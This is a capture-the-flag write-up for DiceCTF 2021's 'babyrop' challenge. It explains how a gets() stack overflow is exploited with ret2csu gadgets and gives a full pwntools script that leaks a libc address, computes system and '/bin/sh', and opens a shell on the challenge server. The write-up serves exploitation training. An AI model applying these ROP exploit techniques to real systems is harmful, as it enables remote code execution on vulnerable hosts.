Tags: rop ret2csu
Rating:
## Challenge
"FizzBuzz101: Who wants to write a ret2libc"
`nc dicec.tf 31924`
[babyrop](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/babyrop/babyrop)
## Recon
```shell
$ file babyrop
babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a721f8e2550d74dddcaae7e8754bff9095e3488d, for GNU/Linux 3.2.0, not stripped
```
```shell
$ checksec babyrop
[*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/babyrop/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique, such as **ret2libc**. But the challenge descriptions clearly says this isn't about ret2libc, so there must be some nuance here.
## Pseudocode
`main`:
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-40h]
write(1, "Your name: ", 0xBuLL);
gets(&v4;;
return 0;
}
```
## Analysis
This challenge looks like a typical ret2libc (with ret2write), **but we don't have the ability to control `rdx`**. To leak the address of `write@GOT` from libc, we have to call something like `write(1, write_got, 8)`. But the lack of control on `rdx` makes address leakage impossible, so **ret2libc fails for this challenge**.
In such case, we should try **ret2csu**.
Disassemble the target binary:
```shell
$ objdump -M intel -d babyrop > disassembly.asm
```
Examine the CSU gadgets from disassembly:
**CSU gadget 1:**
```assembly
4011ca: 5b pop rbx
4011cb: 5d pop rbp
4011cc: 41 5c pop r12
4011ce: 41 5d pop r13
4011d0: 41 5e pop r14
4011d2: 41 5f pop r15
4011d4: c3 ret
```
This CSU gadget helps us set up the values in:
- `rbx`
- `rbp`
- `r12`
- `r13`
- `r14`
- `r15`
However, this isn't enough because we only care about setting up `rdx`, hence we need another CSU gadget.
**CSU gadget 2:**
```assembly
4011b0: 4c 89 f2 mov rdx,r14
4011b3: 4c 89 ee mov rsi,r13
4011b6: 44 89 e7 mov edi,r12d
4011b9: 41 ff 14 df call QWORD PTR [r15+rbx*8]
4011bd: 48 83 c3 01 add rbx,0x1
4011c1: 48 39 dd cmp rbp,rbx
4011c4: 75 ea jne 4011b0 <__libc_csu_init+0x40>
4011c6: 48 83 c4 08 add rsp,0x8
4011ca: 5b pop rbx
4011cb: 5d pop rbp
4011cc: 41 5c pop r12
4011ce: 41 5d pop r13
4011d0: 41 5e pop r14
4011d2: 41 5f pop r15
4011d4: c3 ret
```
The essence in this CSU gadget is `mov rdx,r14`, which allows us to control the value in `rdx` eventually.
The idea is:
1. **Push a series of carefully prepared values onto the stack.**
2. **Call CSU gadget 1 => the values that we pushed onto the stack get popped into each register. In particular, we want `r14 = 8`.**
3. **Call CSU gadget 2 => `mov rdx,r14` sets `rdx = 8`.**
But be careful:
1. **CSU gadget 2 contains an instruction `cmp rbp,rbx`. Right before it, there is `add rbx,0x1`. Therefore, to bypass this check, we can simply set `rbx=0` and `rbp=1`.**
2. **CSU gadget 2 and CSU gadget 1 share the exactly same `ret` instruction. When calling CSU gadget 2, we want it to reach that `ret` as well. Here we can pass some junk values `b"B" * 56` to overwrite the content between `0x4011c6` and `0x4011d2` (the overlapped CSU gadget 1 content). There are 7 instructions, each of them is 8-byte long, so we need 56 bytes of junk values in total.**
## Exploit
```python=1
#!/usr/bin/env python3
from pwn import *
#-------------#
# Preparation |
#-------------#
# Remote server
host = "dicec.tf"
port = 31924
# Binary file
context.arch = "amd64"
elf = ELF("babyrop", checksec=False)
# Fuzzing
offset = 72
# Local vs. remote switch
local = False
if local:
r = elf.process()
else:
r = remote(host, port)
#-------------------------------------#
# Step 1: Leak write_got with ret2csu |
#-------------------------------------#
# Function addresses
write_got = elf.got["write"]
main = elf.sym["main"]
# CSU gadgets
csu1 = 0x4011ca
csu2 = 0x4011b0
# Helper function for generating ret2csu payload
def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = flat(
b"A" * offset,
csu1, rbx, rbp, r12, r13, r14, r15,
# r12 = rdi; r13 = rsi; r14 = rdx
csu2,
b"B" * 56,
ret,
)
return payload
# Call write(rdi=1, rsi=write.got, rdx=8)
payload1 = csu(rbx=0, rbp=1, r12=1, r13=write_got, r14=8, r15=write_got, ret=main)
# Leak write@GOT address from libc
r.sendlineafter("Your name: ", payload1)
write_leak = u64(r.read(6).ljust(8, b"\x00"))
log.info(f"write_leak: {hex(write_leak)}") # [*] write_leak: 0x7f1c2d4df1d0
#-----------------------------------------#
# Step 2: Search offsets in libc database |
#-----------------------------------------#
# Search the offset of "write" in libc database and compute libc base address
write_offset = 0x1111d0
libc_base = write_leak - write_offset
system = libc_base + 0x055410
bin_sh = libc_base + 0x1b75aa
#----------------------#
# Step 3: Get shell!!! |
#----------------------#
# ROPgadget --binary babyrop --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004011d3
# ROPgadget --binary babyrop --only "ret"
ret = 0x000000000040101a
payload2 = flat(
b"A" * offset,
pop_rdi, bin_sh,
ret, system,
)
r.sendlineafter("Your name: ", payload2)
r.interactive()
```
## Flag
```plaintext
dice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b}
```